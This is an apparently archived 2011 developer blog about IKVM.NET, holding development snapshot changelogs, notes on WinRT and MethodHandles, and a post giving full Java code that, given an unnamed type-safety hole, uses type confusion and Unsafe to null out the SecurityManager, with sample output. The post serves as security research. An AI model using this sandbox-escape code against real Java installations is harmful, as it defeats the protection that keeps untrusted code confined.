# Monday, 31 October 2011
New Development Snapshot

Fixed the remaining known OpenJDK 7 issues, apart from method overriding, which finally made it into the JVM spec (section 5.4.5), but it's not clear yet what the actual behavior should be. It's a little ridiculous, but almost 16 years after the release of Java 1.0 a fundamental part of the JVM is still poorly documented and implemented.

Changes:

  • Added ikvmc -platform:arm and -platform:anycpu32bitpreferred options.
  • Bug fix. Make sure sun.misc.Launcher is initialized before setting a security manager, because Launcher assumes there is no security manager yet.
  • Added ikvmstub -forwarders option to support ".NET Core profile" assemblies.
  • Implemented com.sun.security.auth.module.NTSystem.getCurrent().
  • Fixed Throwable.fillInStackTrace() to respect non-writeable stack trace.
  • Fixed Throwable deserialization issues introduced with OpenJDK 7.
  • Fixed Throwable.getSuppressed() to return a global empty array (OpenJDK tests depend on that).
  • Fixed java.lang.ProcessImpl pipe to flush writes.
  • Fixed java.lang.ProcessImpl.openForAtomicAppend() to actually use atomic append.
  • Fixed java.lang.ProcessImpl to clear out the existing environment variables when an envblock is specified.
  • Implemented java.lang.ProcessImpl redirectErrorStream for case where stdout is not also redirected.
  • Fixed core library build issue. java.lang.AutoCloseable.close() method may be used before it has been linked.
  • Bug fix. When calling a final method on a remapped type we can't call the instance method in the remapped type, but we have to call the instancehelper instead.
  • Starting with class file version 51 the <clinit> methods need to be static.
  • Added java.nio.file security manager checks.
  • Added workaround for another x64 JIT bug.
  • IKVM.Reflection: Added .NET 4.5 metadata enum values.
  • IKVM.Reflection: Added support for PortableExecutableKinds.Preferred32Bit.
  • IKVM.Reflection: Added support for process architecture in assembly flags.

Binaries available here: ikvmbin-7.0.4321.zip

Monday, 31 October 2011 12:01:05 (W. Europe Standard Time, UTC+01:00)  #    Comments [4]
# Monday, 10 October 2011
Windows Runtime (aka WinRT) Thoughts

Confusion

After the Build keynote many people were confused. I think there were three main reasons for that: 1) Metro Style Apps and Windows Runtime APIs were introduced together, 2) marketing had banned the mention of COM and 3) Windows Runtime is a bad name.

As the conference progressed and people had time to ask more questions and attend more sessions things became a bit clearer. If you haven't already done so, please read Miguel's blog entry about WinRT.

Let's dive deeper into the three points of confusion:

  1. Metro Style Apps and Windows Runtime are two orthogonal concepts.
    I expect some people to take issue with this, but the reality is that Metro is a new application model and WinRT is a new way of exposing Windows APIs. They are completely orthogonal. To be clear, most new WinRT APIs are only usuable from Metro Style Apps, but that is simply a consequence of the fact that many new APIs were added to support Metro and WinRT is the obvious way to do it.
    It should be obvious by now, but I'll explicitly mention it. Some WinRT APIs are usable from non-Metro apps and some Win32 APIs are useable from Metro apps.
  2. WinRT is an evolution of COM. IMO, if they had mentioned this during the keynote, there would have been a lot less confusion. However, marketing had apparently found that people don't like COM and so it was decided that this should not be mentioned, of course during subsequent talks it quickly became obvious anyway.
  3. The Runtime in "Windows Runtime" is like the Runtime in "C runtime library", not like the Runtime in "Common Language Runtime". The Windows Runtime is not an execution environment, just a set of APIs and a way of exposing these APIs (and your own APIs using a similar mechanism).

What About .NET?

Like COM, Windows Runtime APIs can be used from different languages (but the language needs to do some work to enable this). Microsoft supports using WinRT APIs from C/C++, Javascript and C#/VB. All of these languages were modified to support this. Not all .NET languages automatically get full support for WinRT, for example there is currently no first class WinRT support in F#.

Some people thought that .NET was going to be replaced by WinRT (probably due to reason 3 above), but this clearly doesn't make sense.

Something of interest from a .NET point of view is that instead of type libraries WinRT uses the .NET (ECMA CLI) metadata format to describe the APIs. I made a couple of minor tweaks to IKVM.Reflection to better support this.

What About IKVM.NET?

I have not yet investigated exactly what is needed for WinRT support in IKVM.NET, but it is very likely that WinRT support will arrive some time before Windows 8 is released.

Note however that running IKVM.NET inside Metro Style Apps will not be supported, because the .NET Metro profile is very limited. Hopefully more about this in a future blog entry.

Recommended Viewing

Lap around the Windows Runtime
Windows Runtime internals: understanding "Hello World"
Ten Tips When Writing a Hybrid Language Metro style Application (this title is very misleading, it really is about the design of WinRT)

Monday, 10 October 2011 11:10:17 (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]
# Friday, 07 October 2011
New Development Snapshot

Time for a new snapshot. With the (more or less) completion of java.nio.file the release is getting closer. There are still some minor issues, but the bulk of the work is now complete.

Changes:

  • Fixed ikvmstub to handle annotation defaults.
  • Fixed ikvmc to generate (private) setter for final instance fields that get an access stub to support serialization and reflection.
  • Runtime.exec() fix. When disambiguating executable names, we should only try to append .exe if the filename doesn't already contain a dot.
  • Removed unnecessary link demand from MappedByteBuffer that caused problems when building for .NET 4.0.
  • Fixed MethodHandle constructor invocation issue when running on .NET 4.0.
  • Removed mapping of System.Security.VerificationException to java.lang.VerifyError.
  • Fixed os.name and os.version system properties when running on unknown Windows version (Windows 8).
  • Bug fix. IPInterfaceProperties.GetIPv_Properties() can throw an exception (and does so on Windows 8 for some interfaces).
  • Fixed ikvmc to not open the remap file with write access.
  • Implemented remaining java.nio.file functionality (minus most optional functionality and ACL support).
  • IKVM.Reflection: Implemented ToString() for EventInfo and PropertyInfo.
  • IKVM.Reflection: Copy all assembly flags when adding an assembly reference (WinRT fix).
  • IKVM.Reflection: Added API extension to query and define custom attributes on interfaceimpl records.
  • IKVM.Reflection: Added support for targetting ARM.
  • IKVM.Reflection: Added ILGenerator.__StackHeight property API extension.

Binaries available here: ikvmbin-7.0.4296.zip

Friday, 07 October 2011 12:38:26 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 06 September 2011
New Development Snapshot

Time for a new snapshot.

Changes:

  • Enabled parallel class loading.
  • Fix ClassLoader.findLoadedClass0() to handle null string.
  • Fixed class loader to always check parent class loader for validity.
  • Implemented platform MBean server support (although with very limited information/exposed operations).
  • Fixed race condition in Thread.initContextClassLoader().
  • Updated StringHelper to OpenJDK 7.
  • Fixed field reflection not use "slow path" to get consistent exception behavior (accessing Throwable fields on non-Java exceptions is not supported).
  • Implemented Unsafe.defineClass().
  • Completed implementation of new Unsafe.copyMemory() overload. This fixes several direct ByteBuffer regressions (introduced when we started using OpenJDK 7).
  • Implemented SocketChannel.sendOutOfBandData().
  • Implemented DatagramChannel multicast methods.
  • Fix for #3404229.
  • Bug fix. Don't create a miranda method if the class already has a static method with the same signature.

Binaries available here: ikvmbin-7.0.4266.zip

Tuesday, 06 September 2011 12:07:48 (W. Europe Daylight Time, UTC+02:00)  #    Comments [5]
# Thursday, 01 September 2011
Platform MBean Server

The release notes for IKVM.NET have always said "Not implemented" for java.lang.management and javax.management. This was mostly due to the fact that I don't know very much about this area of Java and it doesn't make a lot of sense to use Java management tools when the equivalent .NET management tools are probably a better fit (at least for VM level operations).

This week, prompted by a question on the ikvm-developers list, I decided to look into improving the situation (a bit). As a result it is now possible to get the platform MBean server and to connect to it with the jconsole application.

To start the server run the following code:

java.lang.System.setProperty("com.sun.management.jmxremote", "true");
java.lang.System.setProperty("com.sun.management.jmxremote.authenticate", "false");
java.lang.System.setProperty("com.sun.management.jmxremote.ssl", "false");
java.lang.System.setProperty("com.sun.management.jmxremote.port", "9999");

sun.management.Agent.startAgent();

Now when you start jconsole in the following way, you can connect to localhost:9999

jconsole -J-Dcom.sun.management.jmxremote.ssl=false

Note that the mechanism that jconsole uses to detect and connect to locally running JDK instances is very platform specific and is not supported. Note also that IKVM does not support "agents" , so you have to start the management agent explicitly by calling it directly.

Limitations

The information (and operations) exposed is pretty limited. I still maintain that using .NET specific management tools is a better solution, but if you have any specific scenario you want to see supported, please let me know and I'll consider it.

Code

If you want to play with it, the binaries are available here: ikvmbin-7.0.4261.zip

Thursday, 01 September 2011 11:16:57 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]
# Tuesday, 30 August 2011
New Development Snapshot

Time for a new snapshot.

Changes:

  • Hardened runtime against asynchronous Thread.Abort() during critical operations. Fix for bug #3385353. Still not a good idea to do an asynchronous Thread.Abort() or Thread.stop() though.
  • Fixed ikvmstub to export exceptions declared with ThrowsAttribute(Type) (in .NET code) properly.
  • Implemented some more java.nio.file APIs.
  • Merged OpenJDK 7 sun.nio.ch.FileChannelImpl changes.
  • Implemented positional read/write for FileChannel.
  • Fixed several FileChannel append issues.
  • Added more missing classes and resources.
  • Added back some rmi stubs that somehow got dropped during 6 -> 7 transition.
  • Implemented AsynchronousFileChannel.
  • Implemented AsynchronousSocketChannel and AsynchronousServerSocketChannel.
  • Merged OpenJDK 7 sun.nio.ch.DatagramChannelImpl changes.
  • Implemented nio IPv6 support (Windows Vista and up only).
  • Implemented dual stack sockets (Windows Vista and up only).
  • JSR292 bug fix. If the bootstrap method throws an exception and the call signature has a non-void return type, we didn't generate the proper exception throwing stub.
  • JSR292 bug fix. Types need to be finished before they can be used in a DynamicMethod.
  • Verifier bug fix. Exception blocks inside potential try { } finally { } blocks were not handled correctly. Could result in finally blocks that run multiple times (when an exception occurs).

Binaries available here: ikvmbin-7.0.4258.zip

Tuesday, 30 August 2011 07:36:16 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Tuesday, 16 August 2011
New Development Snapshot

There's a working JSR292 implementation now. No optimization work has been done yet, the first step is to get things working.

Changes:

  • Implemented JSR292.
  • Added missing classes & resources.
  • Improved IKVM.Runtime.dll build script.
  • Support remap file <throws /> element for methods and constructors defined in remap file.
  • Added workaround for .NET 2.0 bug in Assembly.GetType() that caused runtime to incorrectly assume a proxy stub exists.
  • Changed ikvmstub to handle TypeLoadException in the same way as other exceptions.
  • Fixed bug in the compiler's handling of the "ldc " bytecode. Undersome conditions it would incorrectly optimize away the exception handler around it.
  • Added Kerberos support (on Windows). Based on patch submitted by Trevor Bell.
  • Bug fix. TypeWrapper.IsAssignableTo() didn't handle arrays with primitive elements properly.

Binaries available here: ikvmbin-7.0.4245.zip

Tuesday, 16 August 2011 10:35:23 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 08 August 2011
MethodHandle From C#

using java.lang.invoke;

class Program {
  static void Main() {
    MethodType mt = MethodType.methodType(typeof(void), typeof(string), typeof(object[]));
    MethodHandle mh = MethodHandles.lookup().findStatic(typeof(System.Console), "WriteLine", mt);
    mh.invoke("{0} {1}", "Hello", "World");
  }
}

This now works, but it is not very efficient. Invoking a MethodHandle from Java is more efficient, because the call site signature is statically known in that case.

You can also call invokeExact from C#, but that's even less usefull, because (unlike from Java) you can only call MethodHandles with the same signature as invokeExact. However, it is very fast, because it doesn't do any conversions.

If there is demand for it, I'll consider adding a public API for getting the delegate from a MethodHandle.

Monday, 08 August 2011 11:26:45 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Friday, 05 August 2011
MethodHandle Progress

I've been working on JSR-292 and in particular MethodHandle support the past week. It's been fun and I only found a single CLR bug so far, so I guess that's not too bad.

In the implementation of MethodHandle I use lots of delegates and DynamicMethods. When you generate invalid CIL for a DynamicMethod fun stuff happens, e.g. helpful exceptions, unhelpful exceptions, crashes or this interesting message:

====WARNING====
You have probably encountered known bug VSW:137474, which fires
when System.EnterpriseServices.Thunk.Proxy::LazyRegister is jitted.
The bug often shows up in tests under ManagedServices\Interop.
VSW:137474 has been fixed, but the fix has not yet been propagated
to Lab21S. Please check to see if the assert/AV occurs while
compiling LazyRegister before entering a new bug for this failure.
===============

The JIT just prints this to the console and continues on!

The OpenJDK java.lang.invoke package tests now pass on my systems with only 3 failures and they are all well understood. The first is due to invokedynamic not being implemented yet and the other two due the fact that I have not yet implement full variable arity delegates. Currently there are about 44 delegates for the arities from 0 to 21 (unfortunately you can't use System.Void as a generic type parameter, so you need special ones for void signatures).

Eventually I'll have fewer delegate types and use a tuple like value type to pack arguments together. The JVM only support 256 arguments so 8 x 8 x 8 should be enough.

The code is still very rough, so it'll probably be at least another week before anything is ready to check in or release a development snapshot.

Friday, 05 August 2011 16:45:51 (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]
# Monday, 01 August 2011
How To Disable the Java Security Manager

Suppose you have a type safety vulnerability in Java, you could use it to execute native code, but you can also simply disable the SecurityManager:

import java.io.*;
import java.lang.ref.*;
import java.lang.reflect.*;

class Union1 {
  ObjectStreamClass osc;
  Class c;
  AccessibleObject acc;
}

class Union2 {
  MyObjectStreamClass osc;
  MyClass c;
  MyAccessibleObject acc;
}

class MyObjectStreamClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Long suid;
}

class MyClass {
  int i1;
  int i2;
  int i3;
  int i4;
  Object obj1;
  Object obj2;
  Object obj3;
  Object obj4;
  SoftReference<Field[]> declaredFields;
  Object obj6;
  SoftReference<Method[]> declaredMethods;
  Object obj8;
}

class MyAccessibleObject {
  boolean override;
}

class DisableSecurityManager {
  static Union1 u1 = new Union1();
  static Union2 u2;
  static Method privateGetDeclaredFields;
  static Method privateGetDeclaredMethods;

  public static void main(String[] args) throws Exception {
    u2 = TypeSafetyHole.setupUnions(u1);
    disableSecurityManager();
  }

  static void disableSecurityManager() throws Exception {
    initReflection();

    Object unsafe = getField(java.util.Random.class, "unsafe").get(null);
    Method staticFieldBase = getMethod(unsafe.getClass(), "staticFieldBase");
    Method staticFieldOffset = getMethod(unsafe.getClass(), "staticFieldOffset");
    Object base_System = staticFieldBase.invoke(unsafe, System.class);
    Method getObject = getMethod(unsafe.getClass(), "getObjectVolatile");
    Method putObject = getMethod(unsafe.getClass(), "putObjectVolatile");

    SecurityManager sm = System.getSecurityManager();
    System.out.println(sm);
    for (int i = 0; ; i += 4) {
      if (getObject.invoke(unsafe, base_System, i) == sm) {
        System.out.println("found it!");
        putObject.invoke(unsafe, base_System, i, null);
        break;
      }
    }
    System.out.println(System.getSecurityManager());
  }

  static void initReflection() throws Exception {
    u1.osc = ObjectStreamClass.lookup(Class.class);
    u1.c = Class.class;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    u2.osc.suid = null;
    System.out.println(ObjectStreamClass.lookup(Class.class).getSerialVersionUID());
    for (Method m : u2.c.declaredMethods.get()) {
      if (m.getName().equals("privateGetDeclaredFields")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredFields = m;
      }
      if (m.getName().equals("privateGetDeclaredMethods")) {
        u1.acc = m;
        u2.acc.override = true;
        privateGetDeclaredMethods = m;
      }
    }
  }

  static Field getField(Class c, String name) throws Exception {
    Field[] fields = (Field[])privateGetDeclaredFields.invoke(c, false);
    for (Field f : fields) {
      if (f.getName().equals(name)) {
        u1.acc = f;
        u2.acc.override = true;
        return f;
      }
    }
    throw new Error("Field not found");
  }

  static Method getMethod(Class c, String name) throws Exception {
    Method[] methods = (Method[])privateGetDeclaredMethods.invoke(c, false);
    for (Method m : methods) {
      if (m.getName().equals(name)) {
        u1.acc = m;
        u2.acc.override = true;
        return m;
      }
    }
    throw new Error("Method not found");
  }
}  

This code requires JDK 7. Note that you can't use reflection to access the System.security field, because it is special cased by the reflection code (cute, but not very effective).

Here's how it runs (given a suitable implementation of TypeSafetyHole):

C:\j>\jdk1.7\bin\java -Djava.security.manager DisableSecurityManager
3206093459760846163
5184993009896724798
java.lang.SecurityManager@150ac9a8
found it!
null
Monday, 01 August 2011 16:27:17 (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]